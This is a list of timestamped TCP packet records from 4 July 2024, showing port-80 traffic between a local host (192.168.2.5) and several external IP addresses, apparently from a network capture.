Jul 4, 2024 22:21:07.063298941 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063308954 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063314915 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063337088 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063483953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063493967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063504934 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063514948 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063524961 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063525915 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063539028 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063548088 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063551903 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063560963 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063591003 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063766956 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063777924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063787937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063812017 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063821077 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063827991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063838005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063848019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063858986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063869953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063868046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063879967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063898087 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064085007 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064095974 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064105034 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064129114 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064145088 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064228058 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064239025 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064246893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064258099 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064269066 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064274073 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064286947 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064290047 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064297915 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064301968 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064311028 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064311028 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064321995 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064325094 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064332962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064342976 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064344883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064357996 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064368010 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064378023 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064403057 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064718962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064729929 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064738989 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064748049 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064773083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064791918 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064876080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064886093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064894915 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064904928 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064914942 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064915895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064925909 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064938068 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064954042 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.064984083 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.064994097 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065005064 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065016031 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065025091 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065032005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065042019 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065043926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065056086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065062046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065069914 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065088034 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065103054 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065599918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065612078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065620899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065630913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065642118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065646887 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065653086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065664053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065674067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065674067 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065685034 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065692902 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065696955 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065713882 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065715075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065726042 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065736055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065737009 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065747976 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065761089 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.065762043 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065783024 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065795898 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.065979004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.066025019 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.759305954 CEST	49720	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:21:07.764219999 CEST	80	49720	85.28.47.30	192.168.2.5
Jul 4, 2024 22:21:07.764296055 CEST	49720	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:21:07.764446974 CEST	49720	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:21:07.769886017 CEST	80	49720	85.28.47.30	192.168.2.5
Jul 4, 2024 22:21:07.808154106 CEST	49718	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:07.808717966 CEST	49721	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:07.813512087 CEST	80	49718	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:07.813555002 CEST	49718	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:07.813556910 CEST	80	49721	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:07.813631058 CEST	49721	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:07.814567089 CEST	49721	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:07.819477081 CEST	80	49721	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:08.528716087 CEST	80	49721	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:08.528767109 CEST	49721	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:08.529753923 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:08.530056000 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:08.534826040 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:08.534905910 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:08.534981012 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:08.535032034 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:08.535398006 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:08.540587902 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.229717016 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.229737997 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.229749918 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.229787111 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.229818106 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.229829073 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.229840994 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.229851961 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.229863882 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.229906082 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.229906082 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.229990005 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.230000973 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.230010986 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.230032921 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.230082035 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.234896898 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.234972954 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.234989882 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.235047102 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.349102974 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349114895 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349124908 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349133968 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349144936 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349231958 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349251986 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349261999 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349272013 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349282980 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349297047 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349308014 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349315882 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349327087 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349337101 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349348068 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349359035 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349370003 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349380970 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349386930 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.349386930 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.349386930 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.349386930 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.349392891 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349406004 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349414110 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.349415064 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.349421024 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.349431038 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.349497080 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.354197979 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.354279041 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.444605112 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.444623947 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.444700003 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.474626064 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.474636078 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.474652052 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.474742889 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.474750042 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.474764109 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.474775076 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.474786997 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.474889994 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.474889994 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.474889994 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.474889994 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.474889994 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.475068092 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.475111961 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.475121975 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.475122929 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.475153923 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.475177050 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.475234985 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.475245953 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.475255966 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.475265980 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.475287914 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.475316048 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.476075888 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.476120949 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.476133108 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.476138115 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.476156950 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.476176977 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.476232052 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.476242065 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.476252079 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.476262093 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.476281881 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.476281881 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.476330042 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.477014065 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.477070093 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.477081060 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.477088928 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.477108002 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.477128029 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.477189064 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.477200985 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.477210999 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.477221966 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.477277040 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.477277040 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.478001118 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.478024006 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.478035927 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.478059053 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.478104115 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.478141069 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.478152037 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.478162050 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.478173971 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.478193045 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.478205919 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.478247881 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.478974104 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.479022026 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.479032993 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.479057074 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.479091883 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.479125977 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.479136944 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.479146004 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.479156017 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.479176044 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.479195118 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.479969978 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.480093002 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.550956011 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.550992966 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.551007032 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.551076889 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.551091909 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.551146030 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.551146030 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.551146030 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.551362038 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.589909077 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.589950085 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590004921 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590038061 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590071917 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590094090 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590094090 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590094090 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590110064 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590111971 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590126991 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590162039 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590169907 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590199947 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590219021 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590234041 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590279102 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590280056 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590423107 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590437889 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590483904 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590507030 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590522051 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590553045 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590579987 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590599060 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590610027 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590619087 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590627909 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590647936 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590677023 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590915918 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590965986 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.590971947 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.590982914 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591011047 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591053963 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591078043 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591089010 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591098070 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591109037 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591131926 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591154099 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591480970 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591523886 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591540098 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591547966 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591582060 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591609001 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591643095 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591654062 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591662884 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591672897 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591702938 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591761112 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591856003 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591867924 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591880083 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591892958 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.591928959 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.591929913 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.592425108 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.592470884 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.592477083 CEST	49722	80	192.168.2.5	77.91.77.81
